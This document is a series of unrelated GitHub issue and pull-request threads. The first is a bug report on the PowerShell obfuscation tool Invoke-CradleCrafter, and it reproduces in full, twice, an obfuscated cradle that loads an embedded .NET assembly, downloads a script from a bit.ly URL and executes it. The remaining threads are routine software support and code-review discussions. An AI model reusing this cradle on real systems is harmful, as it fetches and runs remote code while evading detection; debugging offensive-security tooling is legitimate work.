Some issues with C# cradles

Hi Daniel!
First of all, amazing work!
I've encountered two issues while testing.

It seems that cradle testing feature doesn't work for C# cradles ("TEST"). I always get an error like this:

Cannot bind argument to parameter 'Command' because it is null.
    + CategoryInfo          : InvalidData: (:) [Invoke-Expression], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.InvokeExpre
   ssionCommand

Probably some issue -Command argument when launching powershell.exe.

There may be some issue with generating PSCOMPILEDCSHARP cradles as after obfuscation I'm getting execution errors. Here is one of the payloads that generates an error for you to test:

SI Variable:\K 'http://bit.ly/L3g1tCrad1e';SV wv4 ([Byte[]](@(77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184)+@(0)*7+@(64)+@(0)*35+@(128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36)+@(0)*7+@(80,69,0,0,76,1,3,0,50,190,21,89)+@(0)*8+@(224,0,2,33,11,1,8,0,0,4,0,0,0,6,0,0,0,0,0,0,110,35,0,0,0,32,0,0,0,64,0,0,0,0,64,0,0,32,0,0,0,2,0,0,4)+@(0)*7+@(4)+@(0)*8+@(128,0,0,0,2,0,0,0,0,0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16)+@(0)*11+@(32,35,0,0,75,0,0,0,0,64,0,0,160,2)+@(0)*19+@(96,0,0,12)+@(0)*52+@(32,0,0,8)+@(0)*11+@(8,32,0,0,72)+@(0)*11+@(46,116,101,120,116,0,0,0,116,3,0,0,0,32,0,0,0,4,0,0,0,2)+@(0)*14+@(32,0,0,96,46,114,115,114,99,0,0,0,160,2,0,0,0,64,0,0,0,4,0,0,0,6)+@(0)*14+@(64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,0,0,0,10)+@(0)*14+@(64,0,0,66)+@(0)*16+@(80,35,0,0,0,0,0,0,72,0,0,0,2,0,5,0,120,32,0,0,168,2,0,0,1)+@(0)*55+@(19,48,2,0,17,0,0,0,1,0,0,17,0,115,3,0,0,10,2,40,4,0,0,10,10,43,0,6,42,30,2,40,5,0,0,10,42,0,0,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,50,46,48,46,53,48,55,50,55,0,0,0,0,5,0,108,0,0,0,12,1,0,0,35,126,0,0,120,1,0,0,204,0,0,0,35,83,116,114,105,110,103,115,0,0,0,0,68,2,0,0,8,0,0,0,35,85,83,0,76,2,0,0,16,0,0,0,35,71,85,73,68,0,0,0,92,2,0,0,76,0,0,0,35,66,108,111,98)+@(0)*7+@(2,0,0,1,71,21,2,0,9,0,0,0,0,250,1,51,0,22,0,0,1,0,0,0,4,0,0,0,2,0,0,0,2,0,0,0,1,0,0,0,5,0,0,0,2,0,0,0,1,0,0,0,1,0,0,0,2,0,0,0,0,0,10,0,1,0,0,0,0,0,6,0,43,0,36,0,6,0,95,0,63,0,6,0,127,0,63,0,10,0,179,0,168,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,16,0,21,0,0,0,5,0,1,0,1,0,80,32,0,0,0,0,150,0,50,0,10,0,1,0,109,32,0,0,0,0,134,24,57,0,15,0,2,0,0,0,1,0,164,0,17,0,57,0,19,0,25,0,57,0,15,0,33,0,57,0,15,0,33,0,189,0,24,0,9,0,57,0,15,0,46,0,11,0,33,0,46,0,19,0,42,0,29,0,4,128)+@(0)*16+@(157,0,0,0,2)+@(0)*11+@(1,0,27,0,0,0,0,0,2)+@(0)*11+@(1,0,36)+@(0)*8+@(60,77,111,100,117,108,101,62,0,99,114,97,100,108,101,46,100,108,108,0,67,108,97,115,115,0,109,115,99,111,114,108,105,98,0,83,121,115,116,101,109,0,79,98,106,101,99,116,0,77,101,116,104,111,100,0,46,99,116,111,114,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,118,105,99,101,115,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,117,116,101,0,99,114,97,100,108,101,0,117,114,108,0,83,121,115,116,101,109,46,78,101,116,0,87,101,98,67,108,105,101,110,116,0,68,111,119,110,108,111,97,100,83,116,114,105,110,103,0,0,3,32,0,0,0,0,0,70,208,196,106,74,71,104,78,138,155,235,78,247,251,79,203,0,8,183,122,92,86,25,52,224,137,4,0,1,14,14,3,32,0,1,4,32,1,1,8,4,32,1,14,14,3,7,1,14,8,1,0,8,0,0,0,0,0,30,1,0,1,0,84,2,22,87,114,97,112,78,111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,0,0,0,72,35)+@(0)*8+@(0,0,94,35,0,0,0,32)+@(0)*22+@(80,35)+@(0)*8+@(95,67,111,114,68,108,108,77,97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,0,0,0,0,255,37,0,32,64)+@(0)*155+@(1,0,16,0,0,0,24,0,0,128)+@(0)*14+@(1,0,1,0,0,0,48,0,0,128)+@(0)*14+@(1,0,0,0,0,0,72,0,0,0,88,64,0,0,68,2)+@(0)*8+@(0,0,68,2,52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,79,0,0,0,0,0,189,4,239,254,0,0,1)+@(0)*16+@(0,63)+@(0)*7+@(4,0,0,0,2)+@(0)*14+@(0,68,0,0,0,1,0,86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110)+@(0)*7+@(176,4,164,1,0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,128,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,11,0,1,0,73,0,110,0,116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,99,0,114,0,97,0,100,0,108,0,101,0,46,0,100,0,108,0,108,0,0,0,0,0,40,0,2,0,1,0,76,0,101,0,103,0,97,0,108,0,67,0,111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,32,0,0,0,64,0,11,0,1,0,79,0,114,0,105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,99,0,114,0,97,0,100,0,108,0,101,0,46,0,100,0,108,0,108,0,0,0,0,0,52,0,8,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,32,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48)+@(0)*360+@(32,0,0,12,0,0,0,112,51)+@(0)*502));$Null=[Reflection.Assembly]::([Reflection.Assembly].GetMembers()|?{(GV _ -Value).Name-like'Lo*d'}|ForEach{(Variable _ -Va).Name}|Select-Object -Firs 1).Invoke((Get-Variable wv4).Value);&([ScriptBlock]::Create(([ZDWwiLnH]::NmLyETwUI((GV K).Value))))

And this is the error that PS throws on execution:
Unable to find type [ZDWwiLnH]: make sure that the assembly containing this type is loaded.
At line:1 char:4984
+ SI Variable:\K 'http://bit.ly/L3g1tCrad1e';SV wv4 ([Byte[]](@(77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184)+@(0)*7+@(6
4)+@(0)*35+@(128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,9
7,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36)+@(0)*7+@(80,69,0,0
,76,1,3,0,50,190,21,89)+@(0)*8+@(224,0,2,33,11,1,8,0,0,4,0,0,0,6,0,0,0,0,0,0,110,35,0,0,0,32,0,0,0,64,0,0,0,0,64,0,0,32
,0,0,0,2,0,0,4)+@(0)*7+@(4)+@(0)*8+@(128,0,0,0,2,0,0,0,0,0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16)
+@(0)*11+@(32,35,0,0,75,0,0,0,0,64,0,0,160,2)+@(0)*19+@(96,0,0,12)+@(0)*52+@(32,0,0,8)+@(0)*11+@(8,32,0,0,72)+@(0)*11+@
(46,116,101,120,116,0,0,0,116,3,0,0,0,32,0,0,0,4,0,0,0,2)+@(0)*14+@(32,0,0,96,46,114,115,114,99,0,0,0,160,2,0,0,0,64,0,
0,0,4,0,0,0,6)+@(0)*14+@(64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,0,0,0,10)+@(0)*14+@(64,0,0,66)+@(0)*
16+@(80,35,0,0,0,0,0,0,72,0,0,0,2,0,5,0,120,32,0,0,168,2,0,0,1)+@(0)*55+@(19,48,2,0,17,0,0,0,1,0,0,17,0,115,3,0,0,10,2,
40,4,0,0,10,10,43,0,6,42,30,2,40,5,0,0,10,42,0,0,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,50,46,48,46,53,48,55,50,55,
0,0,0,0,5,0,108,0,0,0,12,1,0,0,35,126,0,0,120,1,0,0,204,0,0,0,35,83,116,114,105,110,103,115,0,0,0,0,68,2,0,0,8,0,0,0,35
,85,83,0,76,2,0,0,16,0,0,0,35,71,85,73,68,0,0,0,92,2,0,0,76,0,0,0,35,66,108,111,98)+@(0)*7+@(2,0,0,1,71,21,2,0,9,0,0,0,
0,250,1,51,0,22,0,0,1,0,0,0,4,0,0,0,2,0,0,0,2,0,0,0,1,0,0,0,5,0,0,0,2,0,0,0,1,0,0,0,1,0,0,0,2,0,0,0,0,0,10,0,1,0,0,0,0,
0,6,0,43,0,36,0,6,0,95,0,63,0,6,0,127,0,63,0,10,0,179,0,168,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,16,0,21,0,0,0,5,0,1,0,1,0
,80,32,0,0,0,0,150,0,50,0,10,0,1,0,109,32,0,0,0,0,134,24,57,0,15,0,2,0,0,0,1,0,164,0,17,0,57,0,19,0,25,0,57,0,15,0,33,0
,57,0,15,0,33,0,189,0,24,0,9,0,57,0,15,0,46,0,11,0,33,0,46,0,19,0,42,0,29,0,4,128)+@(0)*16+@(157,0,0,0,2)+@(0)*11+@(1,0
,27,0,0,0,0,0,2)+@(0)*11+@(1,0,36)+@(0)*8+@(60,77,111,100,117,108,101,62,0,99,114,97,100,108,101,46,100,108,108,0,67,10
8,97,115,115,0,109,115,99,111,114,108,105,98,0,83,121,115,116,101,109,0,79,98,106,101,99,116,0,77,101,116,104,111,100,0
,46,99,116,111,114,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,
118,105,99,101,115,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,
105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,
117,116,101,0,99,114,97,100,108,101,0,117,114,108,0,83,121,115,116,101,109,46,78,101,116,0,87,101,98,67,108,105,101,110
,116,0,68,111,119,110,108,111,97,100,83,116,114,105,110,103,0,0,3,32,0,0,0,0,0,70,208,196,106,74,71,104,78,138,155,235,
78,247,251,79,203,0,8,183,122,92,86,25,52,224,137,4,0,1,14,14,3,32,0,1,4,32,1,1,8,4,32,1,14,14,3,7,1,14,8,1,0,8,0,0,0,0
,0,30,1,0,1,0,84,2,22,87,114,97,112,78,111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,0,0,0,72,35)+
@(0)*8+@(0,0,94,35,0,0,0,32)+@(0)*22+@(80,35)+@(0)*8+@(95,67,111,114,68,108,108,77,97,105,110,0,109,115,99,111,114,101,
101,46,100,108,108,0,0,0,0,0,255,37,0,32,64)+@(0)*155+@(1,0,16,0,0,0,24,0,0,128)+@(0)*14+@(1,0,1,0,0,0,48,0,0,128)+@(0)
*14+@(1,0,0,0,0,0,72,0,0,0,88,64,0,0,68,2)+@(0)*8+@(0,0,68,2,52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0
,95,0,73,0,78,0,70,0,79,0,0,0,0,0,189,4,239,254,0,0,1)+@(0)*16+@(0,63)+@(0)*7+@(4,0,0,0,2)+@(0)*14+@(0,68,0,0,0,1,0,86,
0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,84,0,114,0,97,0,110,0,115,0,108,0,97,0,
116,0,105,0,111,0,110)+@(0)*7+@(176,4,164,1,0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,
0,102,0,111,0,0,0,128,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,70,0,105,0,108,0,101,0,68,0,10
1,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,
0,114,0,115,0,105,0,111,0,110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,11,0,1,0,73,0,110,0,116,0,101,0,114
,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,99,0,114,0,97,0,100,0,108,0,101,0,46,0,100,0,108,0,108,0,0,0,0,0,40,0,2,0
,1,0,76,0,101,0,103,0,97,0,108,0,67,0,111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,32,0,0,0,64,0,11,0,1,0,79,0,1
14,0,105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,99,0,114,0,97,0,100,0,108,0,1
01,0,46,0,100,0,108,0,108,0,0,0,0,0,52,0,8,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,1
11,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,32,0,8
6,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48)+@(0)*360+@(32,0,0,12,0,0,0,112,51)+@(0)*5
02));$Null=[Reflection.Assembly]::([Reflection.Assembly].GetMembers()|?{(GV _ -Value).Name-like'Lo*d'}|ForEach{(Variabl
e _ -Va).Name}|Select-Object -Firs 1).Invoke((Get-Variable wv4).Value);&([ScriptBlock]::Create(([ZDWwiLnH] <<<< ::NmLyE
TwUI((GV K).Value))))
    + CategoryInfo          : InvalidOperation: (ZDWwiLnH:String) [], RuntimeException
    + FullyQualifiedErrorId : TypeNotFound

Have a great weekend!
Take care,
Kuba

Interesting. When you get this error, can you run SHOW OPTIONS and then copy/paste the CommandLineSyntax here? This will help me see if there's some strange ordering of obfuscation that's leading to this error.

Here is the CommandLineSyntax for the payload above. I've just used "All" obfuscation:
CommandLineSyntax: Invoke-CradleCrafter -Url 'http://bit.ly/L3g1tCrad1e' -Command 'Memory\PsCompiledCSharp\All\1' -Quiet
I think I found which obfuscation option causes the issue. Try:
PSCompiledCSharp -> Method -> 3 (MEMORY\PSCOMPILEDCSHARP\METHOD\3)
This seems to generate random name for Class and Method, which my guess is, shouldn't work as the C# code was already precompiled with "Class" and "Method" names. Thus the reason why it gives InvalidOperation error.
CommandLineSyntax for reproducing the bug:
[*] CommandLineSyntax: Invoke-CradleCrafter -Url 'http://bit.ly/L3g1tCrad1e' -Command 'Memory\PsCompiledCSharp\Invoke\7,Memory\PsCompiledCSharp\Method\3' -Quiet

Hmm, I not able to reproduce this error with either of those CommandLineSyntax values and orderings. So when Method\3 is applied then the inlineCSharp changes, which trigger re-compilation. Do you not see the recompilation output when you select Method\3?
Also, what version of PowerShell are you running? And I'm assuming you're PowerShell on Windows, correct?

Hi Daniel, sorry for wasting your time, but I think I've generated the issue myself by making slight modifications to your code. I commented out Remove-Item for cradle.cs and cradle.dll as I wanted to inspect the output of generated C# payload and that prevented CradleCrafter from re-compiling the payload.
I put it back in and it works now "as advertised" :)
So the only issue that remains is my inability to TEST the generated payloads straight from UI (when I copy/paste them to PS they work fine). I'm testing with Powershell 2.0 on Windows 7:
Cannot bind argument to parameter 'Command' because it is null.
    + CategoryInfo          : InvalidData: (:) [Invoke-Expression], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.InvokeExpre
   ssionCommand

Thanks for your time and again sorry for reporting a non-existent bug ;)

Haha, no problem. I'm not seeing this UI TEST bug when running PowerShell v2 on a Win10 VM, but let me check it out on Win7 and see if something else is at play here.


invalid syntax for logging_server

Hello,
configured pre-req as per document, but getting invalid syntax error for logging_server.
OUTPUT:
root@BLE01:/tmp/pcs_sqs_to_syslog-master# python poll_n_write.py
File "poll_n_write.py", line 19
logging_server = config.rl_syslog_host
^
SyntaxError: invalid syntax
root@BLE01:/tmp/pcs_sqs_to_syslog-master#

Pre-requ output:
root@BLE01:/tmp/pcs_sqs_to_syslog-master# python3 --version
Python 3.6.9
root@BLE01:/tmp/pcs_sqs_to_syslog-master# sudo pip install requests
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages
root@BLE01:/tmp/pcs_sqs_to_syslog-master# sudo pip install pyyaml
Requirement already satisfied: pyyaml in /usr/lib/python2.7/dist-packages
root@BLE01:/tmp/pcs_sqs_to_syslog-master#
Configs.yml
root@BLE01:/tmp/pcs_sqs_to_syslog-master# cat config/configs.yml
prisma_cloud:
aws_region: ap-south-1
aws_sqs_queue: https://sqs.ap-south-1.amazonaws.com/755788663314/B*********prisma
syslog_host: <IP_ADDRESS>

Make sure you don't have a space after the IP address.   The config file is a yaml file so it needs proper indenting to be processed correct.  Please confirm no trailing spaces on the lines and that there is indention for the 3 lines below prisma_cloud:

Hi,
no additinal spaces & indention is correct. same error.
I think ' logging_server' veriable is not avilable in included import.
root@BLE01:/tmp/pcs_sqs_to_syslog-master# python poll_n_write.py
File "poll_n_write.py", line 19
logging_server = config.rl_syslog_host
^
SyntaxError: invalid syntax
root@BLE01:/tmp/pcs_sqs_to_syslog-master#

I tested this last night with no issues.  Are you using an older version of the script? Line 19 is not the logging_server variable definition:
12 #Config setup for AWS and syslog  13 config = lib.ConfigHelper()  14 logging_server = config.rl_syslog_host  15 REGION_NAME = config.rl_aws_region  16 qname = config.rl_aws_queue  17 poll_interval       = 5  18 poll_duration       = 10  19 MaxNumberOfMessages = 10  20 VisibilityTimeout   = 3600

Hello,
I have redeploy from git, but now having diffrent error while running python3 poll_n_write.py & python poll_n_write.py.
root@BLE01:/tmp/pcs_sqs_to_syslog-master30# python3 poll_n_write.py
/usr/local/lib/python3.6/dist-packages/boto3/compat.py:88: PythonDeprecationWarning: Boto3 will no longer support Python 3.6 starting May 30, 2022. To continue receiving service updates, bug fixes, and security updates please upgrade to Python 3.7 or later. More information can be found here: https://aws.amazon.com/blogs/developer/python-support-policy-updates-for-aws-sdks-and-tools/
warnings.warn(warning, PythonDeprecationWarning)
Error: Unrecognized error
root@BFLINFANSIBLE01:/tmp/pcs_sqs_to_syslog-master30# python poll_n_write.py
Traceback (most recent call last):
File "poll_n_write.py", line 7, in
import boto3
ImportError: No module named boto3
root@BLE01:/tmp/pcs_sqs_to_syslog-master30#

It requires boto3 to be installed.  You can use pip to install it like requests and pyyaml.

On May 3, 2022, at 1:03 AM, ShripadNighojkar @.***> wrote:

Hello,
I have redeploy from git, but now having diffrent error while running python3 poll_n_write.py & python poll_n_write.py.
@.:/tmp/pcs_sqs_to_syslog-master30# python3 poll_n_write.py
/usr/local/lib/python3.6/dist-packages/boto3/compat.py:88: PythonDeprecationWarning: Boto3 will no longer support Python 3.6 starting May 30, 2022. To continue receiving service updates, bug fixes, and security updates please upgrade to Python 3.7 or later. More information can be found here: https://aws.amazon.com/blogs/developer/python-support-policy-updates-for-aws-sdks-and-tools/
warnings.warn(warning, PythonDeprecationWarning)
Error: Unrecognized error
@.:/tmp/pcs_sqs_to_syslog-master30# python poll_n_write.py
Traceback (most recent call last):
File "poll_n_write.py", line 7, in
import boto3
ImportError: No module named boto3
@.***:/tmp/pcs_sqs_to_syslog-master30#
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.

Hi,
Done the boto3 & pyyaml installation.
I guess now stucked at Environment variables. Please help, Im new to configure.
root@BLE01:/tmp/pcs_sqs_to_syslog-master30# python3.7 poll_n_write.py
Error: Unrecognized error
root@BLE01:/tmp/pcs_sqs_to_syslog-master30#

Refer to here for configuration options: https://boto3.amazonaws.com/v1/documentation/api/latest/guide/credentials.html

Hi,
I guess this last error. Is any specific access is required for SQS?
(my-project-env) root@BLE01:/tmp/pcs_sqs_to_syslog-master30# python3.7 poll_n_write.py
Error:  The specified queue does not exist
(my-project-env) root@BLE01:/tmp/pcs_sqs_to_syslog-master30#
SQS access policy:
{
"Version": "2012-10-17",
"Id": "arn:aws:sqs:ap-south-1:***0004:B-Marketing-/SQSDefaultPolicy",
"Statement": [
{
"Sid": "Sid1586",
"Effect": "Allow",
"Principal": "",
"Action": "SQS:",
"Resource": "arn:aws:sqs:ap-south-1:******0004:B-Marketing-"
},
{
"Sid": "topic-subscription-arn:aws:sns:ap-south-1:**0004:P-config-alerts",
"Effect": "Allow",
"Principal": {
"AWS": ""
},
"Action": "SQS:SendMessage",
"Resource": "arn:aws:sqs:ap-south-1:******0004:B-Marketing-*",
"Condition": {
"ArnLike": {
"aws:SourceArn": "arn:aws:sns:ap-south-1:****0004:P-config-alerts"
}
}
}
]
}

Yes, you need:

sqs:ListQueues

sqs:SendMessage

sqs:GetQueueUrl
On Sat, May 7, 2022 at 6:24 AM ShripadNighojkar @.***>
wrote:

Hi,
I guess this last error. Is any specific access is required for SQS?
(my-project-env) @.:/tmp/pcs_sqs_to_syslog-master30# python3.7
poll_n_write.py
Error: The specified queue does not exist
(my-project-env) @.:/tmp/pcs_sqs_to_syslog-master30#
SQS access policy:
{
"Version": "2012-10-17",
"Id": "arn:aws:sqs:ap-south-1:******0004:B-Marketing-
/SQSDefaultPolicy", "Statement": [ { "Sid": "Sid1586***",
"Effect": "Allow",
"Principal": "
", "Action": "SQS:",
"Resource": "arn:aws:sqs:ap-south-1:******0004:B-Marketing-
*" }, { "Sid":
"topic-subscription-arn:aws:sns:ap-south-1:**0004:P-config-alerts",
"Effect": "Allow", "Principal": { "AWS": "" }, "Action": "SQS:SendMessage",
"Resource": "arn:aws:sqs:ap-south-1:****0004:B-Marketing-",
"Condition": {
"ArnLike": {
"aws:SourceArn": "arn:aws:sns:ap-south-1:****0004:P-config-alerts"
}
}
}
]
}
—
Reply to this email directly, view it on GitHub
https://github.com/PaloAltoNetworks/pcs_sqs_to_syslog/issues/2#issuecomment-1120182493,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ADYOAKOQCDCOQVNXM5YO4PDVIZAEFANCNFSM5UO4K7OQ
.
You are receiving this because you commented.Message ID:
@.***>


Update ember-cli to 2.18

Updating ember-cli to make use of Chrome headless instead of PhantomJS, since the pipeline is failing.

@siva-sundar @marcoow @Turbo87 the tests appear to run back to 2.9 and before. Is there a minimum supported version of Ember, or should the tests be running for that far back?
I would like to see a release of master soon, there are fixes included that keep an app of mine pinned to master. I'm not sure if this issue or any other should be considered a blocker.

@mixonic there is no explicit minimum supported version afaik, but I'd like to support as far back as possible, and since the AST hasn't changed much there seems to be no reason why we shouldn't be able to support these older versions.
The one thing that is blocking progress right now is figuring out why some of the tests are failing when running them with headless Chrome (see https://github.com/simplabs/ember-hbs-minifier/pull/20). Once that PR is merged we can updated to latest CLI etc. (this PR) and release a new version.

I would like to see a release of master soon, there are fixes included that keep an app of mine pinned to master. I'm not sure if this issue or any other should be considered a blocker.

🚀  I just released master as v0.2.0


Release 0.26.0

That's a feature release, spinning the major version as we have a new method waiting to be included in a released version: https://github.com/napalm-automation/napalm-base/pull/311

+1


Add discover monitoring

Add discover monitoring for membership view
Fix channel monitoring for orderer

@Kelvin-M Could you please add a line in the charts/ README?


--> alternatives / overloads

I think the following pattern:
foo --> (_.foreach(_ => f))

is so common that it'd be worth supporting as a first-class thing, especially given _.foreach needs parens because of precedence rules. How about:
// takes F[Unit]
foo.each(f)
// takes Event[F] => F[Unit]
foo.foreach(_ => f)

thoughts about?

https://github.com/armanbilge/calico/pull/223

I like it, maybe not the particular choice of operator though... and definitely agree that creating new fibers by default isn't the way to go.
I wonder if we could frame this is as an arrow composition problem, with some implicit conversions for the RHS so that it can be either a pipe, an effectful function or just an effect. Still, implicit conversions for functions/pipes won't be any good for type inference.

foo --> (_.foreach(_ => f))

So actually it's usually not foo but onFoo ... what if we did something like onFoo.do(f) or even just onFoo(f).

Oh, and sorry for duplicating #202.

Oh lol forgot that 😆

foo --> (_.foreach(_ => f))

So actually it's usually not foo but onFoo ... what if we did something like onFoo.do(f) or even just onFoo(f).

onFoo(f) looks great :)


dropdown filed is not madatory

Hi Team,
Need drop down field is mandatory
Now first list is showing instead of need "Select" and required.
Please help to solve this issue.

just add "select" as a value too and set as required

S Tried. Not working.

show me the result / screenshot, @elektragroup

plz check. Experience field is mandatory but not reflecting

Option "1 Year" was selected. Thats why its not showing error. Its very correct.

Hi, this is a nice package but I think that the developers have stopped working on it. Maybe you can try this package: https://github.com/Muhammadinaam/speed-admin. It supports Laravel 8+.


Adding depthai_filters package in Humble

Segmentation overlay
Detection 2D overlay
WLS filter
Fixes bug in https://github.com/luxonis/depthai-ros/issues/248

Will look at it after https://github.com/luxonis/depthai-ros/pull/246 is merged since it is built on-top of that.


Surface Source Game Fixes

Fixes the rct1 source games of the rct2 terrain surfaces as many of them were incorrect.
Normal sand, martian rocks, and checkerboard are now rct1
Red/Purple/Yellow/Green grids are now rct1ll
Brown sand is no longer rct1
This fixes #183

Are you sure about Martian rocks coming from the base RCT1? I have never seen it. Do you have a save or a screenshot confirming it?

Luckily, I have:


Can't skip song if it is last in the queue

Add 3 songs to the queue and try and skip everything but one, the last song would be unable to be skipped

Thanks for raising a issue. I will look into it.

The issue has been resolved.


fix: plugin registry config error

Signed-off-by: xu.jingwen<EMAIL_ADDRESS>
What type of PR is this?
/kind bug

What this PR does / why we need it:
Which issue(s) this PR fixes:

Fixes #358
Special notes for reviewers:

Does this PR introduced a user-facing change?

Additional documentation, usage docs, etc.:

Codecov Report

Merging #361 (c95100b) into master (d0f93c2) will increase coverage by 0.07%.
The diff coverage is 30.61%.

@@            Coverage Diff             @@
##           master     #361      +/-   ##
==========================================
+ Coverage   12.87%   12.94%   +0.07%
==========================================
  Files         102      102
  Lines       15734    15737       +3
==========================================
+ Hits         2025     2037      +12
+ Misses      13467    13454      -13
- Partials      242      246       +4

Impacted Files
Coverage Δ

pkg/apis/core/v1/handler.go
0.30% <0.00%> (-0.01%)
:arrow_down:

pkg/cli/registry/registry.go
0.00% <ø> (ø)

pkg/component/nfs/nfs.go
0.57% <0.00%> (+<0.01%)
:arrow_up:

pkg/apis/core/v1/utils.go
58.88% <35.71%> (+4.30%)
:arrow_up:

/lgtm
/approve

/cherrypick release-1.3


Remove interactiveLayers from public API

Derived from https://github.com/CartoDB/cartodb.js/pull/1008/files#r50673410 we need to solve the issues with interactiveLayers:

Duplicating layers collection
Out-of-sync with layers as soon as a layer is added/removed

I think we need another mechanism to connect layers<->WindshaftMap, e.g. that each layer to know that it should register (and unregister on deletion) itself to Windshaft.
AFAIK map.layers is already "public" so DI could just use that for it's mapping, and listen in on changes on that collection to make its parts are relevant/up-to-date.

This was removed as part of #1018.


Main

Fixes #1534
Pull Request Title: Add Cheesy Lines Randomizer Feature to Display Random Pick-Up Lines

Description:
This pull request addresses the issue of implementing the Cheesy Lines Randomizer feature. The play is a React-based interactive web application that generates random cheesy pick-up lines when a button is clicked.

Key Features:

Randomizer Functionality:

A random pick-up line is generated and displayed from a predefined collection when the user clicks the "Get Cheesy Line" button.

React Concepts Used:

State Management (useState): Manages the currently displayed pick-up line.
Event Handling: The onClick event on the button triggers the randomizer function.
Component Rendering: Updates the displayed line in real-time based on the current state.
JSX Layout: Structurally displays the lines and button in a clean, interactive design.

UI/UX:

A responsive and minimalist interface designed to work on different screen sizes, featuring an eye-catching button and neatly formatted display of pick-up lines.

How to Test:

Clone the repository and switch to the branch containing this feature.
Run npm install to install all dependencies.
Start the application by running npm start.
Interact with the app by clicking the "Get Cheesy Line" button to display random pick-up lines.

Linked Issue:
This pull request addresses and closes Issue #[#1534] - "Add Cheesy Lines Randomizer to Display Random Pick-Up Lines".

Checklist:

[x] Implemented the randomizer function.
[x] Styled the user interface for an engaging experience.
